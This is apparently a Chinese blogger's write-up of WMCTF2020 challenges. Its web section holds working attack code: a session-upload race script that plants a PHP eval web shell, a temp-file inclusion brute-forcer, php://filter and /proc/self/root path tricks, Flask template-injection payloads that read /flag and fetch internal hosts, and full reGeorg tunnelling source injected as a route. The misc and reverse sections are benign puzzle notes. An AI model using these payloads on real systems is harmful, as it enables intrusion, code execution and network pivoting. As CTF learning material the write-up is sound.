WMCTF2020 个人WP整理

神仙大战菜鸡流泪,

“终究是我扛下了所有”

老网抑云了

WEB

web_checkin

开局就是代码

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);
}

奈何不会绕exit();结果没想到传个/flag就出了,大概率是非预期吧,以至于2.0版本没做出来。

web_checkin2

这题后期问了一下出题人和1.0啥区别,区别就是1.0没改flag名,这个改了。彳亍

看了nu1l的wp,不由得感叹,就这?

彳亍,想不到想不到,贴个nu1l的脚本罢

# -*- coding: utf-8 -*-
import requests
import string

charset = string.digits + string.letters

host = "web_checkin2.wmctf.wetolink.com"
port = 80
base_url = "http://%s:%d" % (host, port)

def brute_force_tmp_files():
    for i in charset:
        for j in charset:
            for k in charset:
                for l in charset:
                    for m in charset:
                        for n in charset:
                            filename = i + j + k + l + m + n
                            url = "%s/index.php?content=/tmp/php%s" % (
                                base_url, filename)
                            print url
                            try:
                                response = requests.get(url)
                                if 'phpinfo' in response.content or 'WMCTF' in response.content:
                                    print(response.content)
                                    with open("/tmp/flag.txt","a+") as f:
                                        f.write(response.content)
                                    print "[+] Include success!"
                                    return True
                            except Exception as e:
                                    print e
        return False

def main():
    brute_force_tmp_files()
if __name__ == "__main__":
    main()

http://web_checkin2.wmctf.wetolink.com/?content=/fffffllllllllaaaaaggggggg_as89c79as8

访问就出了

Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

也是代码,这代码跟2.0也一个样子,同理也根本不会2.0,

不过这个题的考点是利用session.upload_progress进行文件包含,然后就好办了,

如果不懂这个可以参考文章https://www.freebuf.com/news/202819.html

直接上payload(上文改的,原理明白不会写脚本hhh)

#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('tac /var/www/html/flag.php');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/tmp/sess_'+sessid,data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in xrange(1,30): 
            threading.Thread(target=write,args=(session,)).start()

        for i in xrange(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

跑起来就出了

Make PHP Great Again2.0

问了出题人后,2.0确实就是ban了非预期解,所以实锤了我1.0是非预期,日

算了,直接上罢

这是个文件包含的骚操作就是,没做过类似的题,吃瘪了,不过之前搜搜到过,没尝试555

http://v2222.no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?
file=php://filter/convert.base64-
encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc
/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/
root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/roo
t/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc
/self/cwd/flag.php

Login me again and again

登录后报错,需要查看源代码

这里使用flask和requests实现的反向代理程序,并且methods处将POST 写
成了P0ST ,是无法从这个反向代理进行POST请求的。

将host改为nginx,有正常回显

尝试ssit注入,依旧有waf,并且给了源码

进行源码审计,针对username和password分别进行过滤,{{}}不能同时出现,但是username可以有{{,后者可以有}},依旧存在模板注入

构筑payload:查看一下/flag的内容吧

username={{url_for.__globals__['__builtins__']['eval']
("open('/flag').read()#&password=")}}

呃呃呃,不在本机,还不能联网呃呃。。。。访问一下php主机吧

username={{url_for.globals['builtins']['eval']
(request.form['a']%2b"#&password=")}}&a=import("base64").b64encode(_import
_("requests").get("http://php/?source").text.encode())

彳亍,php需要登录,需要mysql主机的mysql密码

然后mysql也需要登录。。。

直接用regeorg的🐎吧

reGeorg:https://github.com/sensepost/reGeorg

#coding:utf8
if 'test' is '': #test
    from flask import Flask
    app = Flask(__name__)
else:
    from flask import current_app as app
#put these variables somewhere safe and reachable.
import sys
sys.tunnels = {}
sys.currentTunnelId = 0

@app.route("/proxy",methods=['GET','POST'])
def tunnel():
        #this function has to be self contained, or you will see errors like request is not defined.
    from flask import request as request,make_response as make_response,session as session
    import socket
    import errno
    import sys
    import traceback
    tunnels = sys.tunnels
    currentTunnelId = sys.currentTunnelId
    def myMakeResponse(text,headers):
        resp = make_response(text)
        for i in headers:
            resp.headers[i] = headers[i]
        return resp
    if(request.method == "GET"):
        return "Georg says, 'All seems fine'"
    if(request.method != "POST"):
        return "?"
    respHeaders = {}
    respHeaders['X-STATUS'] = 'OK'
    headers = request.headers
    cmd = headers.get("X-CMD")
    tid = int(request.cookies.get("tunnelid",-1))
    if(cmd == "CONNECT"):
        target = headers["X-TARGET"]
        port = int(headers["X-PORT"])
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        except Exception as e:
            respHeaders['X-STATUS'] = 'FAIL'
            respHeaders['X-ERROR'] = 'Failed creating socket(is this possible for python?)'
            return myMakeResponse('',respHeaders)
        try:
            sock.connect((target,port));
        except Exception as e:
            respHeaders['X-STATUS'] = 'FAIL'
            respHeaders['X-ERROR'] = 'Failed connecting to target'
            return myMakeResponse('',respHeaders)
        sock.setblocking(0)
        tunnels[currentTunnelId] = sock
        respHeaders['X-STATUS'] = 'OK'
        resp = myMakeResponse('',respHeaders)
        resp.set_cookie("tunnelid",str(currentTunnelId))
        sys.currentTunnelId+=1;
        return resp;
    elif(cmd == "DISCONNECT"):
        try:
            tunnels[tid].close();
            del tunnels[tid];
        except:
            pass
        resp = myMakeResponse('',respHeaders)
        resp.set_cookie("tunnelid","-1")
        return resp;
    elif(cmd == "READ"):
        sock = tunnels[tid];
        try:
            buf = b""
            try:
                t = sock.recv(1024)
            except socket.error as e:
                err = e.args[0]
                if err == errno.EAGAIN or err == errno.EWOULDBLOCK:
                    return myMakeResponse('',respHeaders)
                raise
            while t:
                buf += t
                try:
                    t = sock.recv(1024)
                except socket.error as e:
                    err = e.args[0]
                    if err == errno.EAGAIN or err == errno.EWOULDBLOCK:
                        break
                    raise
            resp = myMakeResponse(buf,respHeaders)
            return resp;
        except Exception as e:
            respHeaders['X-STATUS'] = 'FAIL'
            respHeaders['X-ERROR'] = str(e)
            return myMakeResponse('',respHeaders)
    elif(cmd == "FORWARD"):
        sock = tunnels[tid];
        try:
            readlen = int(request.headers["Content-Length"])
            buff = request.stream.read(readlen)
            sock.send(buff)
            respHeaders['X-STATUS'] = 'OK'
            return myMakeResponse('',respHeaders)
        except Exception as e:
            respHeaders['X-STATUS'] = 'FAIL'
            respHeaders['X-ERROR'] = str(e)
            return myMakeResponse('',respHeaders)

编码后,利用ssit继续注入,添加/proxy路由

reGeorg服务端也需要被修改,需要自己添加Host头,把227行的conn.urlopen改成被注释的conn.request(否则无法修改host头

直接梭哈,

MISC

sign-in

签到题,进tg群组就有

XMAN_Happy_birthday!

一个老套路的逆序十六进制了,下载下来就是个逆序的压缩包

写个脚本直接梭就出来了

a = open('daolnwod.zip','rb').read()
f = a[::-1]
b = open('t.txt','wb').write(f)

然后用winhex导出就行了

Music_game

纯傻逼题,对着屏幕大喊up down right left

喊到终点就有flag了

Feedback

纯问卷调查,直接拿了

Performance_artist(参考nu1l)

图片给的高度不对,改一下就成,然后手撸,md5对上就ok了

然而还得用机器学习才能准,实际上试了一下nu1l的脚本也是问题百出,可能我的字符集不够准罢

脚本:

from PIL import Image
import os
im = Image.open('attachment.png')
charset1 = '0123456789'
charset2 = 'ABCDEF'

dataset1 = 'training'
dataset2 = 'emnist-byclass'

def check(row,col, candidate):
    tmp = im.crop((28*col,28*row,28*col+28,28*row+28))
    if candidate in charset1:
        for fname in os.listdir(f'pngs/{dataset1}/{candidate}'):
            t = Image.open(f'pngs/{dataset1}/{candidate}/{fname}')
            if t.tobytes() == tmp.tobytes():
                return True
        return False
    elif candidate in charset2:
        for fname in os.listdir(f'pngs/{dataset2}/{candidate}'):
            t = Image.open(f'pngs/{dataset2}/{candidate}/{fname}')
            if t.tobytes() == tmp.tobytes():
                return True
        return False
guess = '''504B0304140000000800DB93C55086A3
9007D8000000DF01000008000000466C
61672E74787475504B0E823010DD9370
8771DDCCB0270D5BBD0371815A9148AC
6951C2ED9D271F89C62E2693D7F76BB7
DE9FC80D2E6E68E782A316D2E01F81CE
6D55E76972E9BA7BCCB3ACEF7B89F7B6
E90EA16A6EE2439D45179ECDD1C5CCFB
6B9AE489C1218C92B898779D765FCCBB
58CC920B6662C5F91749931132258F32
BBA7C288C5AE1031331A6608409DAC41
9F7924143412907814AB7A9221D6B8DE
D0D25AEC8A634929025C46A33FE5A1D3
1679100323B1ABEE4A7A0708413219E1
7718165F5D3E73D577798E36D5144B66
315AAE315078F5E51A292469F402504B
01021F00140000000800DB93C55086A3
9007D8000000DF010000080024000000
000000009000000000000000666C6167
2E7478740A0020000000000001001800
4A0A9A64243BD601F9D8AB392436D601
2D00CA13223BD601504B050600000000
010001005A000000FE00000000000000'''
for row, line in enumerate(guess.splitlines()):
    for col, val in enumerate(line):
        if not check(row, col, val):
            print(row, col, val)
row = 20
col = 27
tmp = im.crop((28*col,28*row,28*col+28,28*row+28))
tmp.show()
print(check(row,col,'B'))

Dalabengba(参考nu1l和神大人)

如何修游戏参考神大人的blog,包括了如何解题:http://www.fzwjscj.xyz/index.php/archives/37/

part2:

盲水印直接梭,得到下图

在线网站直接拿:https://manateeworks.com/free-barcode-scanner

part3:

‘5465162526f5f653f5562704f5570395’ “镜像”⼀下可以解得Y0u_@re_5o_bRaVE,

⽤这个作为密钥可以解出s3cr3t.crypto,解出来后之后发现⽂件是由0x9,0x20组成的,并且每⼀⾏的⻓度都是8的倍数

0x9,0x20其实代表⼆进制的0,1,直接解不行,将⼆进制反序⼀下之后才可以再反序⼀下发现⾥⾯有第三部分的flag

RE:

easy_re

mz师傅帮忙出的,直接perl反编译然后看明文就完事了,过于简单.jpg

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发